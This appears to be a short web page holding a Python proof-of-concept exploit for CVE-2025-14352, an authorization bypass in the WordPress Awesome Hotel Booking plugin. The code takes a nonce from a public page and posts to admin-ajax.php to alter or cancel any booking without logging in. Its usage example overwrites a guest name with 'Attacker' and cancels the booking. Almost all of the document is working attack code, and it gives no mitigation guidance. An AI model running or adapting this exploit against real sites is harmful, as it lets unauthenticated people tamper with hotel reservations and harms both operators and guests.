CVE-2025-14352 WordPress Awesome Hotel Booking插件授权绕过漏洞

import requests import re from bs4 import BeautifulSoup # CVE-2025-14352 PoC - Awesome Hotel Booking Plugin Authorization Bypass # Target: WordPress site with Awesome Hotel Booking plugin <= 1.0.3 def exploit_booking_modification(target_url, booking_id, new_data): """ Exploit the authorization bypass in Awesome Hotel Booking plugin to modify arbitrary booking records without authentication. """ session = requests.Session() # Step 1: Get the booking page to extract nonce booking_page = f"{target_url}/room-single/?room_id=1" response = session.get(booking_page) # Step 2: Extract nonce from the page # Nonce is typically in a hidden field or JavaScript variable nonce_match = re.search(r'nonce["\']?\s*[:=]\s*["\']([a-zA-Z0-9]+)["\']', response.text) if not nonce_match: # Try alternative patterns nonce_match = re.search(r'_wpnonce["\']?\s*[:=]\s*["\']([a-zA-Z0-9]+)["\']', response.text) if not nonce_match: print("[-] Failed to extract nonce from page") return False nonce = nonce_match.group(1) print(f"[+] Extracted nonce: {nonce}") # Step 3: Construct the exploitation request exploit_url = f"{target_url}/wp-admin/admin-ajax.php" payload = { 'action': 'awesome_hotel_update_booking', 'booking_id': booking_id, 'nonce': nonce, 'guest_name': new_data.get('guest_name', 'Hacked'), 'check_in': new_data.get('check_in', '2025-01-01'), 'check_out': new_data.get('check_out', '2025-01-02'), 'status': new_data.get('status', 'confirmed') } # Step 4: Send the malicious request (no authentication required) response = session.post(exploit_url, data=payload) if response.status_code == 200: print(f"[+] Booking {booking_id} modified successfully!") print(f"[+] Response: {response.text}") return True else: print(f"[-] Exploitation failed with status code: {response.status_code}") return False # Usage example if __name__ == "__main__": target = "http://vulnerable-site.com" target_booking_id = 999 new_booking_data = { 'guest_name': 'Attacker', 'check_in': '2025-12-25', 'check_out': '2025-12-30', 'status': 'cancelled' } exploit_booking_modification(target, target_booking_id, new_booking_data)